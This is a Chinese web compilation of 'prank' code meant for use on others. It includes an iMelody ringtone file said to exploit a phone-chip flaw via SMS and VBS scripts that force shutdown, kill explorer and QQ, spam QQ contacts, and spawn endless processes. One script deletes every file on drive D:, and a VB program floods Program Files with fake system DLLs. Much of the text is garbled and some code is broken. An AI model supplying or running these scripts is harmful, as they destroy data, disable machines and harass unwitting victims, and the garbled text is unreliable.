本文目录一览：

• 1、安卓手机整人代码java大全
• 2、qq空间“装逼”代码大全
• 3、qq整人代码
• 4、求一些好玩的整人代码~~
• 5、整人代码大全
• 6、我要QQ聊天的恶搞代码

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大，重复次数越多

2把上面代码复制，在计算机上保存为.txt文本文件，再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象，就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞，那么则会产生上述所说效果.

qq空间“装逼”代码大全

01

找到你要评论的说说，或者找到你要留言的qq好友的空间。

02

复制下面的任一代码粘贴即可出现意想不到的图案。

打赏代码：

[em]e10033[/em]{uin:123,nick: 打赏了你一个冰淇淋,who:1}

[em]e10033[/em] 打赏了100000000000.00元红包 [em]e10011[/em]

赞代码:{uin:0000,nick: xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx ,who:1}等13亿人觉得很赞

[em]e10026[/em]{uin:5720,nick:Gold Vish,who:1}

[em]e10022[/em] {uin:5720,nick:拍摄于07月22日,who:1} {uin:5720,nick:阿尔及利亚 天气：阴,who:1}

[em]e10020[/em]{uin:5720,nick:乘坐于巴西天马航空JJ8280航班（A舱）,who:1}

[em]e10023[/em]{uin:5720,nick:文字已通过英国军情六处，请勿泄露。,who:1}

[em]e10005[/em]{uin:1314,nick:samsung S7,who:1}

[em]e10033[/em]打赏了10元红包（{uin:3,nick:查看详情}）

[em]e10026[/em]{uin:5720,nick:Apple Watch 电镀蓝 (8G),who:1}

[em]e10022[/em] {uin:5720,nick:拍摄于07月18日,who:1} {uin:5720,nick:美国白宫 天气：阴,who:1}

[em]e10020[/em]{uin:5720,nick:乘坐于美国华盛顿国际机场USA527航班（A舱）,who:1}

[em]e10023[/em]{uin:5720,nick:文字已通过美国华盛顿审核，请勿泄露。,who:1}

[em]e10005[/em]{uin:1314,nick:iPhone6s plus,who:1}

03

锁：[em]e10001[/em]

竖屏手机：[em]e10002[/em]

横屏手机：[em]e10003[/em]

电脑：[em]e10004[/em]

手机：[em]e10005[/em]

相册图标：[em]e10006[/em]

连接图标：[em]e10007[/em]

笔记本：[em]e10008[/em]

红大锁：[em]e10009[/em]

蜡烛：[em]e10010[/em]

红小锁：[em]e10011[/em]

玫瑰：[em]e10012[/em]

手表：[em]e10013[/em]

飞机：[em]e10014[/em]

奶嘴瓶：[em]e10015[/em]

QQ音乐图标：[em]e10016[/em]

赞图标：[em]e10017[/em]

井号：[em]e10018[/em]

大奶嘴瓶：[em]e10019[/em]

小飞机：[em]e10020[/em]

定位图标：[em]e10021[/em]

相机图标：[em]e10022[/em]

相册图标：[em]e10023[/em]

平板电脑：[em]e10024[/em]

手机：[em]e10025[/em]

手表：[em]e10026[/em]

电脑：[em]e10027[/em]

手机山寨：[em]e10028[/em]

返回图标：[em]e10029[/em]

点亮赞图标：[em]e10030[/em]

连接图标小：[em]e10031[/em]

地图标记：[em]e10032[/em]

红包小图标：[em]e10033[/em]

@图标：[em]e10035[/em]

联系人图标：[em]e10036[/em]

赞加圆缺图标：[em]e10037[/em]

返回加圆缺图标：[em]e10038[/em]

红包图标2：[em]e10040[/em]

礼包图标：[em]e10041[/em]

红锁加圆圈：[em]e10042[/em]

qq整人代码

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is

me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

WScript.Echo("30")

WScript.Echo("29")

WScript.Echo("28")

WScript.Echo("呵呵，骗你的，我也累了，88")

WScript.Echo("还是在耍你")

WScript.Echo("你不想活了？")

WScript.Echo("打开这个？")

WScript.Echo("无语中……")

WScript.Echo("嘿。谁让你点确定的？")

WScript.Echo("我还想多耍你一会儿呢！")

WScript.Echo("我准备问你一个问题")

-----------下面别复制--------------------

纯

本

人

设

计

求一些好玩的整人代码~~

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新，将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

msgbox "是否阻止其安装？",vbyesno

wscript.sleep 3000

msgbox "阻止失败！请检查防火墙是否开启！"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败！"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im QQ.exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

msgbox "你好啊！"

wscript.sleep 3000

msgbox "很高兴见到你！"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了！"

wscript.sleep 3000

msgbox "不信？那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧！"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"

s.run "explorer"

”

整人代码大全

01

【代码一】

你打开好友的聊天对话框,然后记下在你QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。

代码如下：

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

02

【代码二】

我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。

do

msgbox "You are foolish!"

loop

03

【代码三】

打开无数个计算器，直到死机。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

04

【代码四】

直接关机。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

05

【代码五】

删除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

06

【代码六】

不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

07

【代码七】

不断按下alt+f4（开什么都关闭）。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

08

【代码八】

按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

09

【代码九】

如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的

时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

10

【代码十】

网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title

/head

body

a href="" onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗？');

alert('你把我的话当什么了？');

alert('你知道错了吗？');

alert('什么？你居然....');

alert('居然还没意识到自己做错了？');

alert('那好，你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('什么？你开始有点后悔了？');

alert('何必呢？');

alert('你当初干什么去了？');

alert('不原谅你！');

alert('好从现在开始再点995下......');

alert('你的手开始累了吗?');

alert('什么？你已经没力气了？');

alert('你一直在求我原谅你啊！');

alert('看来你是真的知道错了!');

alert('下次你还会这么做吗？');

alert('真的不会了？');

alert('那好，今天就放你一马！');

alert('写封信给我说声对不起!');

alert('你能这么做我很高兴!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a

/body

/html

我要QQ聊天的恶搞代码

首先你在要建一个文本文档（在桌面点右键

--

新建

--

文本文档）把下面的你想要的代码复制

到文本文档

好

保存

把名字

txt

改成

vbs

就

OK

vbs

整人代码大集合

一、

你打开好友的聊天对话框

,

然后记下在你

QQ

里好友的昵称

,

把下面代码里的

xx

替换一下

,

就可以自定义发送

QQ

信息到好友的次数

(

代码里的数字

10

改一下即可

).

xx.vbs=

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

与

xx

聊天中

")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ

骚扰信息

,

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除

D:\

所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "

哈哈

你被耍了！

"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下

alt+f4

（开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按

500

次回车

(

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

，

500

可以随意更改

)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "

哥们，给我按

500

次回车吧

",64

loop

'------------------------ ------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("

嘿，谢谢你打开我哦，我等你很久

拉！

"TSName)

WScript.Echo("

你是可爱的小朋吗

?")

WScript.Echo("

哈

,

我想你拉，这你都不知道吗？

")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]

复制以这个代码，在桌面建一个文本，把代码放进去，另存为

VBS

格式，

此代码的威力：

1

：开机就强制自动关机

2

：

cmd

命令打不开

3

：结束任务不管用

4

：

F8

安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第

2

次保存的那个

VBE

文件，

，

PS

：不要乱拿软件去整人，发生什么事可不要怪我啊。

。

拍拍手

顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'

声明变量，其中“

count

”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'

生成文件的内容

nr = "

哈哈，被黑的感觉的不错吧

"

files = FreeFile

'

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

，以便产生不同的文件名

count = count + 1

'

产生文件名及文件句柄，并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

'

向文件写内容

Write #files, nr

'

清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub